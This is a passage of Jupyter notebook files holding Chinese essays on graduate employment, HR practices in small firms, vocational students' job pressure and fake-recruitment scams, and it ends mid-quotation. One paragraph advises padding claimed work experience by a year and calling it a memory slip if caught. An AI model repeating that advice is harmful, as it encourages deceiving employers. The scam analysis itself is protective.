"整体来说,后情感时代,让我发现人的情感体验是多元的。单从就“嗑CP”、“萌宠”话题的被采访人语录来看,就得出部分被采访人思维单一、理想化。这是不可靠的,不能一概而论。比较切实的观点应该是,部分被采访人对此类信息可能并不在意,或对这方面未有较深入的认知与关注。并且,该项数据并不能对采访人的情绪、思维、行为逻辑做定论,只是某些事物的关联,需要去理清事情的真相与内在逻辑,这些都要花时间下功夫研究的。\n", "\n", "一些社会上的热议话题,由于人们来自各个不同的环境,加之自媒体时代造成的信息量过载,因此需要进行额外进行讨论点细分、不同类别的数据统计、专项性、且综合性的全方位分析,难度不可谓之不大。\n", "\n", "不过针对于社会上的事件,通过此前的相关头条、微博、抖音的热搜采集研究,以及从相关文献上对用户评论的分析[(黄俊,2021)](#fn3-black),挖掘B站社会事件的评论及弹幕,也是相当具有意义和价值的。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 参考文献\n", "\n", "[[1]](#fn1) 石小溪《“再生影像”的双重媒介特性与文化逻辑 —— B站的“CP向”混剪视频为例》,《电影文学》2022年第23期,27页
    \n", "[[2]](#fn2) 姚澍欣 《萌宠视频的声音展演与情感卷入 —— 基于B站猫咪视频的分析》,《新媒体观察》2022年第23期,100页
    \n", "[[3]](#fn3) 黄俊 《职场辱虐的情绪影响和行为反应探究 —— 基于抖音、微博、B站等社交媒体的传播研究》,《传播创新研究 (第四辑)》2021年12月,160页
    " ] } ], "metadata": { "language_info": { "name": "python" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/就业形势分析及预防欺诈对策.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# 就业形势分析及预防欺诈对策" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 高校毕业生就业形势分析及对策 \n", "\n", "### 背景\n", "\n", "高等教育的普及化为大多数青年人的就业观念带来了转变,但经济市场开放的相关招聘岗位相对有限。这导致职高和普本(为了解释方便,以下统称高校毕业生)毕业生数量超过了需求,造成了结构性失衡的局面。与此同时,受地缘政治的影响,当前经济增长乏力且略呈颓势,进一步加剧了这种结构性矛盾。\n", "\n", "由于就业岗位供不应求,企业市场对人才的需求已经饱和,这些现实因素导致一部分高校毕业生不再追求\"毕业即就业\"的目标,而是陷入了被动的\"待业观察\"状态,从而由此催生了\"慢就业\"的观念。这种观念的转变在一定程度上反映了当前就业市场的不确定性和竞争激烈程度。毕业生开始意识到找到理想的工作并非易事,他们更加注重个人发展和职业规划,以确保自己能够获得更好的就业机会。\n", "\n", "### 对策[1](#fn1-black)\n", "\n", "#### 一、社会层面\n", "\n", "企业方面:相关措施:降税、学位人才占比优惠、税收补贴等。概括:精准帮扶,减负稳企。\n", "\n", "政府方面:相关措施:搭建就业平台,组织招聘活动。概括:政府搭建就业平台,助力大学生成功就业。\n", "\n", "#### 二、学校层面\n", "\n", "服务平台:具体措施:加强校企合作、建立就业数据库(具体见:[北京大学学生就业指导服务中心“下载”板块内容](https://scc.pku.edu.cn/home.action))。概括:进一步完善高校就业平台。\n", "\n", "辅导规划:具体措施:统筹社会资源,衔接一体化生涯规划教育体系(具体见:[长理工云就业平台 - 求职心经 | HR:10分钟让70%的简历变得更专业](https://csust.bysjy.com.cn/detail/news?id=159140)、[西南财经大学学生职业规划与就业指导中心 “教育与辅导”板块](https://job.swufe.edu.cn))。概括:完善大学生职业生涯规划。\n", "\n", "构造条件:校企合作、创业孵化基地、加强师资力量、落实岗位实训。概括:为大学生创业提供良好条件。\n", "\n", "#### 三、大学生自身层面\n", "\n", "在大学生自身层面的论述上,杨勇(2023)只限于对正能量阐释,而缺乏对学生构建完备的认知与资源支持系统的相关说明,因为人们在面对问题和困难时可能需要更多的支持和资源,而不是一味的鸡汤。我的想法是:首先重视人文学科专业拓展,人文学科是人类认知和理解世界的一种重要途径。通过深入研究信息传媒和人类文化学,了解人类的历史、文化、社会和思想,以及它们是如何相互关联的。这样的跨学科研究能够为大学生提供全面的视野,更好地理解和解释当今复杂多变的社会现象。\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 公司招聘现状与高校求职者之间的社会信息不对称\n", "\n", "征信、社保流水、档案都需要去官方机构查询,所要手续条件(包括:身份证、电话等),对于非巨头型的绝大多数企业,以及人资办事效率来说,整体查询效率是最低的。在没有学信网之前,学历造假也非常之普遍,有了学信网,登录账号就能直接看学历,所见所得,证明成本低。因此人资大多都是只查学历证明。\n", "\n", "年限证明需要查社保流水看实情,但查看个人社保流水极为手续繁琐,且不属于共同知识,制约了双方之间的交易效率,因此打理好同事、直属领导关系,多说一年也无大碍。就算查到就简单说记错了,也属人之常情。所以反而是老实交代一年或两年的空档期,反而是劣势策略,不属于个人占优策略。\n", "\n", "在工作之前或工作之后最好积蓄一些猎头人脉,以及同事之间的人情,这样有利于定向推荐,使再次求职相对变得简单。尤其是在经济不太好,个人跳槽动力不足,以及个人发展转向上会有不小的帮助。\n", "\n", "* 关于“查档案与社保流水”与人资对话的截图:https://cdn.jsdelivr.net/gh/hoochanlon/scripts/AQUICK/catch2023-08-16%2005.03.06.png\n", "* 关于“假学历应聘”话题的长截图文件:https://cdn.jsdelivr.net/gh/hoochanlon/scripts/AQUICK/IMG_6707.jpg\n", "* 关于“积蓄猎头人脉,通过猎头推荐岗位”的长截图文件: https://cdn.jsdelivr.net/gh/hoochanlon/scripts/AQUICK/IMG_6711.jpg\n", "\n", "面试过程是一个双向选择的过程。即使面试官有意打压面试,我们也要保持自信和专业的态度。在面对多次打压的情况下,双方之间可能会失去进一步合作的机会。但重要的是,我们应该坚持保持自己的价值观和专业素养,不参与情绪争执。无论最终是否成功获得工作机会,这样的经历都是一次宝贵的教训,我们可以从中吸取经验教训,并寻找更适合我们的职业发展的机会。最重要的是,我们要相信自己的能力和价值,并继续努力追求自己的目标。\n", "\n", "还有面试有意试探我们的工资,更多是压价或不确定市场。转移话题。在遇到这种问题时,应聘者可以适当地转移话题,例如谈论自己的技能和经验,以及如何能够为公司带来价值等。可以强调自己的实际能力和对职位的期望,而不是过多地关注薪资问题。拒绝回答。如果应聘者认为提供自己的薪资范围并不合适或不方便,可以礼貌地拒绝回答,例如说“我觉得现在还没有到谈论薪资的时候”,或者“我更愿意先了解更多关于这个职位的信息”。" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 高职学生就业胜任力与就业压力的关系探究\n", "\n", "### 摘要\n", "\n", "背景同上述,本版块着力分析当今就业现状与高职学生面临的就业压力,并对此以“胜任力”的做为切入点,针对此方向提出新的对策及解决方案。\n", "\n", "### 高职毕业生就业现状原因分析\n", "\n", "#### 一、教育资源固化,学科长期滞后于市场\n", "\n", "在当今社会,重点高校、普通高校和职业高中之间的师资力量与教学资源的分配存在显著差异,而这种差异性与经济中的贫富分化相互作用,导致了教育资源的固化。这种固化现象进一步加剧了学科专业与市场需求之间的滞后时间。据袁佳薇(2023)[2](#fn2-black)的统计,某些学科滞后于市场3-5年左右。\n", "\n", "#### 二、高职院校办学特色不足,专业建设拥挤,缺乏职业导向\n", "\n", "高职院校办学特色不足,专业建设拥挤,体现在以下几个方面:\n", "\n", "1. 专业设置缺乏差异化:高职院校与其他院校之间,专业雷同或重合度过高。\n", "1. 优秀的师资队伍不足:师资力量不具备特色,难以在特定领域形成较强的影响力,所办学科的文化氛围也会缺乏凝聚力。\n", "1. 教学手法与产业需求脱节:\n", " 1. 教学内容陈旧,并缺乏行业对接项目应用实践:学习知识与当前产业发展的需求不匹配,加之行业对接性项目的实践,以致学生们无法有效积累实际经验和解决实际问题的能力。\n", " 1. 学科专业与当地企业产业切合周期过短:实训及实习机会过少,导致学生没有足够的实践经验,上手工作较长的磨合期,难以吸引用人单位。\n", "1. 缺乏职业导向:教学手法与产业需求脱节的学校可能缺乏职业导向,未能将学生的发展与行业需求结合起来,缺少对学生职业规划的指导和帮助。\n", "\n", "#### 三、地域之间的社会资源分配与产业结构性差异\n", "\n", "**社会资源分配**\n", "\n", "经济发达地区通常有更好的生活条件、社会福利、文化资源等,这些因素也会吸引更多的较低层次人才前往就业和生活,进而带动了较低层次人才的需求。\n", "\n", "**产业结构差异**\n", "\n", "经济发达地区往往拥有更加多元化和高端化的产业结构,涵盖了从高科技、金融、媒体等高层次职业到服务业、销售、生产制造等较低层次职业的广泛范围。因此,对于较低层次人才的需求也相应较多。而经济落后地区可能主要依赖传统产业,更加需要高层次的人才来推动产业升级和发展。\n", "\n", "### 高职毕业生自身就业压力成因分析\n", "\n", "#### 一、高职院校定位模糊,专业设置不合理\n", "\n", "高职院校由中专中职升级而来,对于原有的教师确实需要融合与转换,以确保教学胜任和课时饱满。这个转型过程中,有两种典型情况:一是专升本,二是专业刻意加“管理”二字。\n", "\n", "在专升本的情况下,高职院校的教学及内容要求与本科水平相当。然而,这可能导致脱离了高职学校的特点和市场的需求。高职院校原有的特点是面向实际职业岗位的培养,强调实践技能和应用能力的培养。但在专升本过程中,教学内容和要求可能过于理论化,忽视实践能力的培养,导致学生在毕业后脱离实际工作中的需求,造成认知失调。\n", "\n", "另一种情况是高职专业刻意加入“管理”二字,这可能对学生造成认知偏差。例如,一些高职专业可能本应注重技术技能和实践操作,但加入“管理”后,可能使得学生误以为毕业后要从事管理岗位。然而,实际情况是,这些专业依然需要学生具备技术技能和实践能力,而非纯粹的管理能力。\n", "\n", "#### 二、高职学生自我定位与家长心态的原因\n", "\n", "学生自身方面:\n", "\n", "1. 社会大环境对学历提升的渲染,一些高职学生产生妄自菲薄的心理影响了就业积极性与主动性。\n", "2. 对用人单位和自我匹配上存在信息不对称与认知失衡,导致求职过程中遇到重重困惑和挫折。\n", "3. 求职投递长期未有及时回应,一直处于消极和沮丧的挫败感,也消解了高职学生的求职积极性。\n", "4. 求职及就业相关参考信息不足,主动拓展信息渠道意向较低,又限制了他们对就业市场的了解和机会的获取。\n", "\n", "家长方面:父辈认为考上大学就是精英学子的旧时观念,日常言谈中也形成潜在的求职压力与心理负担。\n", "\n", "### 缓解高职学生就业压力的对策\n", "\n", "#### 一、积极构建完善的社会系统\n", "\n", "政府方面:\n", "\n", "1. 对于某些岗位政府可适当降低学历硬性标准,强调技能要求。\n", "1. 多场次地举报针对高职院校的招聘会、交流会,增加高职学生的择业机会\n", "1. 行政层面对专业申报、设置进行宏观综合考量。\n", "1. 对吸纳职高应届生及毕业生的企业给予适当补贴\n", "\n", "企业方面:\n", "\n", "优化人才选择,做到平衡人才与岗位之间的适切度,同时这也会维持着均衡的人员流动率,保持企业长期健康稳定的发展。在人力资源(HR)指导工作中,坚决避免性别歧视和身份歧视,杜绝这些问题从个体微观传播到宏观社交媒体层面,从而防止对企业用人声誉长期造成负面影响。建立立公平、公正的用人环境,推动多元化和包容性文化的发展。通过积极倡导平等和尊重的价值观,塑造企业良好形象,提升企业吸引力和声誉。\n", "\n", "#### 二、科学合理定位,营造有利于学生就业学校环境\n", "\n", "1. 树立学院的定位,明确办学层次,分析周边及热门城市行业情况、探访企业诉求,结合积累的学科专业长处与企业形成有效衔接。\n", "2. 避免盲目追随所谓的热门专业,避免因此导致市场供大于求的局面,并确保学校的长远发展不受不可消除的负面影响。\n", "3. 将就业质量较高或用于创业的学生代表请进学校做宣讲,激励高职学生的集体动力,并引导着切合集体的职业目标与就业意识。\n", "4. 在就业指导过程上,增加心理测评、职业能力测评,为有需求的学生提供更具体、更切合的服务。\n", "\n", "#### 三、高职学生从自我出发加强自身职业胜任力\n", "\n", "高职学生求职压力的主要来源,不只是来自学历,还来自对自身能否胜任存在怀疑和不确定,提高学生的职业胜任力是缓解就业压力的关键点。以下是关于提升自我胜任力的八个方面:\n", "\n", "1. 自我认知与目标设定:了解自己的兴趣、特长、价值观和职业目标。清楚自己的优势和短板,设定明确的职业发展目标,并制定相应的规划。\n", "1. 树立综合素质意识:注重综合素质的培养,包括沟通能力、团队合作能力、创新能力等。这些综合素质在职业发展中同样重要。\n", "1. 学习与专业能力:努力学习专业知识,提高专业技能。参加学术竞赛、项目实践等,积累实践经验,增强对专业的掌握程度。\n", "1. 实习与实践经验:积极争取实习机会,参与校外实践项目,增加职场经验。实践是学习的延伸,通过实际工作锻炼和提高自身能力。\n", "1. 自我提升与学习新技能:不断自我学习和提升,掌握新技能和新知识,如语言能力、计算机技术等,增强职业竞争力。\n", "1. 建立人际关系与拓展人脉:主动参与社团活动、行业交流会等,积极交友,建立良好的人际关系,拓展人脉资源。\n", "1. 面对挑战与解决问题能力:培养面对挑战的勇气和应对问题的能力。学会解决问题的方法,增强应变能力。\n", "1. 积极心态与职业规划:保持积极乐观的心态,坚定信心,对职业发展保持明确的规划,不断更新和调整职业目标。\n", "\n", "#### 四、学生群体应建立跨学科知识体系的过程\n", "\n", "建立跨学科知识体系可以激发更广泛知识领域探索,深化对问题的理解,这有助于更全面地理解复杂的现实世界问题,并提供更综合、创新的解决方案,以下是建立跨学科体系的七个方面:\n", "\n", "1. 广泛阅读: 阅读各类优秀的人文学科著作,涵盖历史、社会学、文化人类学、传媒研究等领域。这将有助于大学生深入了解不同学科的观点和方法,从而形成更全面的认知。\n", "1. 参与学术活动: 参加学术会议、研讨会和讲座,与学界专家交流和讨论。这样的交流能够拓展你的思维,获得新的观点,并结识对跨学科研究感兴趣的人。\n", "1. 深入调研: 进行实地调研,了解不同地域、文化的差异和共通点。这将有助于大学生从实践角度深入理解人文学科的研究主题。\n", "1. 跨学科学习: 尝试在相关学科中选修一些课程,如社会学、传媒学、心理学等,以建立更广泛的知识背景。\n", "1. 加强批判性思维: 对于不同的理论观点和研究成果,保持批判性思维,学会评估其优缺点和适用性。\n", "1. 实践与应用: 将所学知识应用于实际情境,例如通过写作、参与社会项目等,加深对知识的理解和应用。\n", "1. 与同行交流: 在学术和社交平台上与同样关心人文学科的人进行交流,分享见解和发现,共同推动跨学科知识的传播和发展。" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 中小企业人力资源管理中的招聘问题研究\n", "\n", "### 中小型企业招聘现状\n", "\n", "#### 1. 企业实力难以招揽优秀人才\n", "\n", "由于企业规模相对较小,小型企业往往难以与大型企业竞争,无法提供同等水平的薪资和福利待遇。这使得优秀的人才更倾向于选择进入大型企业,因为那里通常有更稳定的薪资水平和更完善的福利机制。\n", "\n", "资金实力的相对薄弱也限制了小型企业吸引优秀人才的能力。薪资的不确定性和拖欠现象可能会让潜在员工感到担忧,因为他们希望在一个稳定的职业环境中发展。这使得小型企业在人才招揽过程中处于不利地位。\n", "\n", "此外,小型企业的福利机制往往变更频繁且不够成熟。这可能是由于企业的快速发展、市场环境的不稳定性或者管理上的问题。这种不稳定的福利机制可能会让潜在员工感到不安,因为他们希望在一个能够提供稳定福利的企业中工作。\n", "\n", "#### 2. 招聘的员工流动性过高\n", "\n", "招聘的员工流动性过高,这在中小企业中尤为明显。受限于资源的有限性,这些企业无法提供与大型企业相媲美的薪资和福利待遇,也无法为员工提供广阔的晋升空间和长期稳定的职业发展机会。具体体现,部门人员较少,频繁空降外聘人员入职管理岗。因此,许多员工倾向于将中小企业视为“中转驿站”一个短期的职业起点,以积累宝贵的实践经验并拓展专业技能的“训练场”。\n", "\n", "中小企业的相对稳定性和风险性也是员工流动性过高的原因之一。这些企业可能面临竞争激烈的市场环境,从而引发员工对未来发展的担忧。相比之下,员工更愿意选择在大型企业工作,因为这些企业通常拥有更强大的资源和更稳定的市场份额,从而降低就业风险。\n", "\n", "而对于有学历、有经验、有技术的优秀人才来讲,中小企业的体制、流程、福利皆达不到目标期望,在某些特定岗位上施展不了拳脚,会显得大材小用,不适合自身发展。\n", "\n", "#### 3. 人才市场的支持力度小\n", "\n", "在人才市场中,大企业因其庞大的体量规模和提供的优厚福利待遇,拥有一种自带光环效应。这使得许多人才和猎头倾向于与这些企业建立长期的甲乙方供应和合作关系。由于大企业的知名度和品牌效应,它们在市场上的宣传也更为到位,从而吸引并输送更多优秀人才。\n", "\n", "相比之下,作为人才市场中的“弱势群体”,中小企业面临更大的招聘困难。由于资源有限,中小企业在宣传和吸引人才方面可能无法与大企业竞争。他们需要花费更多的精力和时间来寻找适合的人才,而且由于竞争激烈,优秀人才更容易被大企业吸引。\n", "\n", "#### 4. 招聘经费预算有限\n", "\n", "**招聘资源有限**:有限的招聘经费意味着在招聘过程中可能无法投入足够的资源,包括广告宣传、招聘渠道和人才搜索工具。这将限制公司接触和吸引到的潜在候选人数量,减少了找到合适人才的机会。\n", "\n", "**招聘范围狭窄**:有限的预算可能使得公司只能选择使用廉价或免费的招聘渠道,这些渠道可能只能覆盖有限的候选人群体,限制了招聘范围和多样性。\n", "\n", "**招聘速度减缓**:预算有限会影响招聘流程的效率,可能导致公司无法及时响应招聘需求。较慢的招聘速度可能使得优秀的候选人被其他公司抢先吸引。\n", "**降低招聘质量**:在招聘过程中缺乏足够的经费,可能导致公司难以投入到招聘筛选和面试等环节。这可能\n", "会影响招聘的质量,导致招聘不合适的人员,增加了培训和流动成本。\n", "\n", "**影响雇主品牌**:无法在招聘过程中提供足够的资源和待遇,可能会损害公司的雇主品牌,使公司在求职者中失去吸引力。\n", "\n", "#### 5. 招聘及用人理念片面化,缺少系统化支持\n", "\n", "一、单纯的以“投入资金”为招聘圭臬\n", "\n", "“只要投入资金就可以招聘到人才”,以经验凭直觉处事,带有很大主观性的“捡漏”守株待兔心理,缺少知己知彼的双向换位思考意识。\n", "\n", "二、“走了就再招”的用人随意性\n", "\n", "“走了就再招”这种态度表明企业对员工的留存不够重视,可能导致员工感受到缺乏长期职业发展的机会,从而不愿意投入更多精力和时间在企业中,优秀人才可能会感到企业不值得信赖,以及自我的不安,并转向其他更有吸引力的企业。这样,企业就会失去优秀人才,并影响企业的声誉和竞争力。\n", "\n", "三、“颐指气使”用人及招聘心态\n", "\n", "基层的人力资源招聘如果单纯以“投入资金”为招聘标准,且采取“走了就再招”的用人方式,很可能导致其在招聘过程中产生自以为是、高高在上和颐指气使的态度。这种态度会对整个招聘流程和组织的发展产生负面影响:\n", "\n", "**人才招聘质量下降**:将“投入资金”视为唯一准则可能导致忽视其他重要的招聘因素,如候选人的技能、经验、文化适应性等。这会导致招聘到的人才质量下降,影响团队绩效和业务发展。\n", "\n", "**招聘流程缺乏策略性**:过度依赖“走了就再招”的用人方式,缺乏对人才需求的规划和策略,容易导致招聘随意性,无法满足组织长期发展的人力资源需求。\n", "\n", "**员工流动率增加**:频繁进行人员招聘和解雇会增加员工流动率,带来高额的招聘和培训成本,同时影响团队的稳定性和凝聚力。\n", "\n", "**影响员工士气**:自以为是和颐指气使的招聘态度会让候选人和员工感到不受尊重和平等对待,降低员工的工作积极性和忠诚度。\n", "\n", "**公司形象受损**:基层人资招聘团队作为公司的代表,其态度和行为直接关系到公司的形象。高高在上的态度会损害公司的声誉,影响公司在求职者和业界的形象。\n", "\n", "### 解决对策\n", "\n", "品德、扎实的基本功、较大的潜能、团队精神这类老生常谈的观点就不重复阐述了。这里额外强调基于企业生命周期的差异招聘。\n", "\n", "萌芽期:生存和发展是企业的首要任务,此阶段人才较少,主要依靠投资这的个人能力进行市场的开放和产品的创新。[3](#fn3-black)\n", "\n", "发展期:企业开始或已步入正轨,团队协作开始变得尤为重要。这时可以通过人才招聘会、猎头来挖掘人才。\n", "\n", "鼎盛期:具备一定市场占有率,高层开始注重维持长期的繁荣,人才发展较平衡,企业现有人才相对充实,资金链周转灵活,通过猎头挖掘部分优秀人才管理企业。\n", "\n", "衰退期:资金短缺,市场占有率下降,在市场中处于劣势地位,引进一些大局管理经验和市场创新及拓展经验的精英加入。\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 虚假招聘背后 ——对大学生求职受骗现象研究\n", "\n", "### 前言\n", "\n", "我们的视野里已经有太多的宏大叙事与情绪感慨,欠缺的反而是“事实本身” 。现如今较起之前好了不少,当时信息传播渠道有限,仅限于搜索引擎、门户网站,如今信息。人人自媒体,民意重视程度相对比过去要高了。但伴随而来的又一个问题就是审核控评,结合我国当今体制及制度而言,整体不容乐观。总体而言,我们的认知是建立在他们代价付出与信息披露。\n", "\n", "### 招聘欺诈流程模式\n", "\n", "\\> 图片选自 [刘莫鲜《在虚假招聘的背后 一对大学生求职受騙现象的质性探究》p63-84](#fn4-black)\n", "\n", "**图一**\n", "\n", "\n", "\n", "**图二**\n", "\n", "\n", "\n", "**图三**\n", "\n", "\n", "\n", "\n", "### 欺诈者的动机内核\n", "\n", "从前面各类手法的诈骗流程图分析,来对双方目的进行总结:欺诈者的目的存在一个或多个,拿到货币、人身控制、获得劳动力;而求职者目的相对单一,付出劳动力,拿到货币。值得注意的是,欺诈者、求职者都是为了拿到对方的货币,由此便产生了不完全信息的零和博弈。\n", "\n", "由于欺诈者的目的及偏好多样化,可选择的策略空间广,选择取向也相对较多,因此欺诈者会穷尽所有可能,并且不择手段地来实现自身利益最大化。因此,欺诈者的核心策略是在特定的环境和场景下,在求职者付出劳动之前或之后,以获取劳动者的货币为目标。\n", "\n", "### 欺诈者对求职者的信念构建及欺诈实施\n", "\n", "对于欺诈者来说,能不能骗到求职者是一个概率性问题。求职者来自各个不同的生活环境,其行为选择对于欺诈者来说是不能预测的。不过,这里必须要明确一个关键点:既然骗子能够骗得到人,那么被骗到的人是那些相信他不是骗子的人。换句话说,欺诈者之所以能骗到求职者,关键是因为建立起了求职者的信任。虽然我们每个人的行为选择不可预测,但骗子能够利用各种手段来营造特定的稀缺情景,以建立对求职者的信任。借着这种信任,他们可以进行有限条件的选择,从而实现对求职者意图行为的控制。\n", "\n", "具体来说,欺诈者常常利用社会心理学来布设博弈困境以及相应的剧本演出,以便操控求职者的思维和情绪。他们通常宣称有限的职位名额、紧迫的截止日期、特殊服务后门或其他形式的稀缺性,以激发求职者的竞争心理和渴望,促使求职者尽快做出决策。通过在这种紧张的情景中建立信任,此时欺诈者为了进一步验证求职者的“诚意”及“合作性”,这时欺诈者会要求求职者提供个人信息,支付一定费用或执行某些任务。这些要求看似合理,但实际上是为了获取求职者的敏感信息或从其身上获取经济利益。\n", "\n", "以“虚假招聘”做为分析例子:\n", "\n", "1. 扩大受众范围:基本上无要求的职位可以吸引更多的求职者,因为它们看起来对应聘者的资格要求较低。这样一来,欺诈者能够扩大他们的受众范围,吸引更多人参与他们的欺诈行为。\n", "2. 降低警觉性:通过设置基本上无要求的职位,欺诈者能够降低求职者的警觉性和怀疑度。这些职位通常看似简单、容易获得,让求职者觉得他们很有机会得到工作。这种心理上的降低警觉性使得求职者更容易被欺骗。\n", "3. 瞄准脆弱群体:基本上无要求的职位更容易吸引那些急需工作、经验不足或急需改变工作环境的求职者。这些求职者往往在经济条件不佳或就业市场竞争激烈的情况下,更容易接受风险、忽略潜在的欺诈风险。\n", "4. 降低调查风险:基本上无要求的职位往往意味着欺诈者不需要进行繁琐的背景调查和核实工作。他们无需验证求职者的教育背景、工作经验或技能,从而减少了被揭穿的可能性。\n", "\n", "总体而言,设置基本上无要求的职位是欺诈者为了骗取更多人参与欺诈活动,并降低求职者的警觉性。这样的策略使得欺诈者能够更轻松地欺骗和取得求职者的信任,从而实施进一步的欺诈行为。\n", "\n", "### 欺诈组织与个体成员画像\n", "\n", "在不考虑成功“洗脑”或被迫施骗的大学生的情况下,根据刘莫鲜(2012)分析:多数骗子们的家乡偏远,家庭生活贫穷,没有受过良好教育,文化程度较低,没有正当职业,有过多次的违法犯罪前科,这其中也不乏通缉要犯;骗子主要以外来人口尤其是农村人口为主,他们大多是亲戚、朋友结伴而行,同吃同住,与外界不熟,极易成为一种较为封闭的小团体,加之其没有财物负累,尤其是没有不动产,思想上顾忌少,往往可以随心所欲地以地缘或亲缘为纽带结伙在流入地实施犯罪。\n", "\n", "这类欺诈组织相对于大街明抢钱财、挟持人质的公开暴力犯罪分子来说,他们更注重运用智力和技巧,以及团体协作来实施隐匿性的犯罪行为,以便长时间从事欺诈活动而不容易被发现和制止。他们常常会利用社交工程学和心理学的知识,通过研究人们的心理需求和行为模式,设计出看似合理且有吸引力的欺骗计划,巧妙的欺骗手段取得他人的信任,以达到自己的利益。欺诈者组织成团队,各扮演不同的角色,共同协作实施欺诈行为。每个团队成员都负责不同的任务,如寻找目标、制定计划、执行欺诈、洗钱等。团队协作能够提高欺诈效率和成功率,并且使他们能够更好地逃避监测和调查,以实现长期的不法利益积累。\n", "\n", "附组织结构与欺诈者众生相图: \n", "\n", "> 图片选自 [刘莫鲜《在虚假招聘的背后 一对大学生求职受騙现象的质性探究》p95-96](#fn4-black)\n", "\n", "\n", "\n", "\n", "\n", "由团体推至个人,可分为四个方面:\n", "\n", "1. 社会经验:即使没有接受过高等教育,欺诈者可能在社会中积累了丰富的经验。他们可能长期从事欺诈活动,通过与不同人交往和观察,逐渐学会了欺骗和操纵他人的技巧。这种经验使他们能够在实践中不断改进自己的欺诈手段。\n", "2. 洞察力和观察力:欺诈者往往具备较强的洞察力和观察力。他们能够快速分析求职者的行为模式、需求和心理状态,从而更好地设计和实施欺诈计划。他们可能通过观察和分析社会现象,了解人们的心理需求和行为,以此来针对性地制定欺诈策略。\n", "3. 自学能力:虽然没有接受过较高教育,但欺诈者可能具备较强的自学能力。他们可能通过阅读、研究或网络获取信息,学习相关的法律知识和钻空子的技巧。这种自学能力使他们能够更好地理解和应对法律规定,以避免被发现或追究责任。\n", "4. 团队合作:欺诈者并不是单打独斗,在欺诈团伙中扮演不同的角色。他们可能会与其他人合作,各自负责一部分任务。这样的团队合作能够充分发挥每个成员的优势,提高整体的欺诈效率和成功率。\n", "\n", "### 广告平台与欺诈组织的“共谋”\n", "\n", "[刘莫鲜(2012.8)](#fn4-black)提及《新潮生活周刊》总经理张继学的一段发言:\"从传媒投资的角度,做新潮二年半了投资是3600万,发行有10万份,平均每期作了100多版,一年的印刷成本就占去了1250万,是2块7、8一本,工资占到400万,其他的费用是400、500万,加起来是900万,一年的广告收入是2000万多点,一年赚200、300万,什么时候才能收回成本?\"\n", "\n", "我们从中可得知,广告收入可以帮助媒体维持长期运营和提供内容,并使读者能够继续以较低的费用获取刊物。由此周刊内容在者演化过程中,周刊的公共服务价值日渐衰微与边缘化,公益让位于利润,媒体实质上已变成一个旨在服务于一小撮富有投资者、企业老板和广告商利益的系统。\n", "\n", "目前,众多媒体刊登的广告常常蕴含夸张和虚假的宣传要素,广告主为了将广告投放于周刊中,常常对周刊投入可观的资金支持,这种快钱回报往往远远超越了周刊受众读者获得的实质价值。由此,最终核实广告真实性的任务通常落在广大读者的肩上。由于信息的不对称性,广告主拥有制作广告的专业知识和资源,而观众则往往缺乏客观评估广告内容的能力,因此需要付出相当大的代价来辨别广告的真实性和虚假性。在责任分配方面,有关责任往往追溯到广告发布方,而平台通常仅充当信息传递渠道的角色,从而推卸责任。这使得平台承担的损失相对较少。\n", "\n", "此外,媒体间也存在官官相护的情况:\n", "\n", "1. **商业模式和盈利压力:**媒体往往需要依赖广告、订阅等方式获取收入。这意味着它们必须考虑读者和观众的需求,以保持盈利和生存。在维护自身经济利益的同时,可能会忽视一些不利于业务的报道或调查。\n", "2. **竞争和市场份额:** 媒体行业竞争激烈,各家媒体争夺读者和观众的关注。为了保持市场份额和流量,一些媒体可能会追求热点新闻,而不愿意深入挖掘内部问题,以避免损害自身形象。\n", "3. **媒体自我监管的挑战:**媒体的自我监管机制并不总是完善,可能存在缺乏监督和约束的情况,这可能使一些媒体在处理内部问题 时更容易回避批评和揭露。\n", "4. **行业团体和互相保护:** 媒体行业可能形成了一些行业团体,这些团体可能会倾向于维护自身的利益和形象,对内部问题进行保护,以免影响整个行业的声誉。\n", "5. **社会舆论和压力:** 一些媒体可能会受到社会舆论和政治压力的影响,这可能导致它们在处理一些敏感问题时采取谨慎的态度,避免涉及自身的问题。\n", "\n", "[新浪教育-求职招聘- 虚假广告给钱就登 一个电话就搞掂](http://edu.sina.com.cn/l/2004-10-08/87203.html)、[CCTV - 独家调查丨 揭秘“网络水军”生意经:只要给钱 什么新闻都能发](http://m.news.cctv.com/2018/02/05/ARTI5T9viL8A5yYnwbpWm2Om180205.shtml)都揭示了同一问题:虚假广告在交付一定费用后得以刊登,只需一个电话就能办妥。这两个事件本质上属于相同的情况。值得注意的是,尽管媒体平台内部可能有一些个别致力于维护正义的人士,但在整体层面上,仍然会以一种“心知肚明,选择放任”的态势占主导,这是一种稳定演化策略。\n", "\n", "### 对欺诈的监管缺失\n", "\n", "引用刘莫鲜(2012, p174)提供的调查访谈\n", "\n", "> 第1次受骗后,我们本想打110,但在被骗广场附近的路上听到其他陌生的但同为受骗者的2、3个男女在聊天,“打110也不管用,说不定110与他们(骗子)串通好,是一伙的,骗了钱一家一半。” 我不清楚这几个人是在哪里受骗的,但听到这番话后,我和同学只好愤愤回到学校,放弃了报警维权的念头。\n", ">\n", "> 第2次受骗后,因被骗钱比第1次多很多,所以我还是首先想到去附近派出所求助(不是说有困难就找警察吗?),结果派出所工作人员称我们的问题不在他们的职责范围内,无法对此立案。他们的理由是:“人家未抢你的钱,是你自己心甘情愿给的,何况你们没有明确证据证明人家骗了你”。尽管之后几经周折,最终通过其他同学母亲在政府部门的熟人关系讨回了绝大多数被骗的钱,但那次报警经历让我对警察很失望,从那以后也很讨厌警察,认为“有困难找警察”是句空话;还是找熟人才行。\n", ">\n", "> (S2:蒋雯)\n", "\n", "引用刘莫鲜(2012, p220)给出的结论\n", "\n", "> 